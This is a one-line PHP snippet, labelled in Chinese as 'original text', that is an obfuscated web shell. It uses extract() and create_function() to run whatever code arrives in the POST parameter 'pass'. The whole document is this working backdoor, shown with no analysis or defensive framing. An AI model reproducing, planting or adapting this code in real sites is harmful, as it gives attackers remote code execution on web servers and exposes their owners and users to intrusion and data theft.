原文:<?php @extract(array(b=>create_function(NulL,fun2()))); @extract(array(c=>$b())); function fun2(){$b=$_POST;return @($b[pass]);} ?>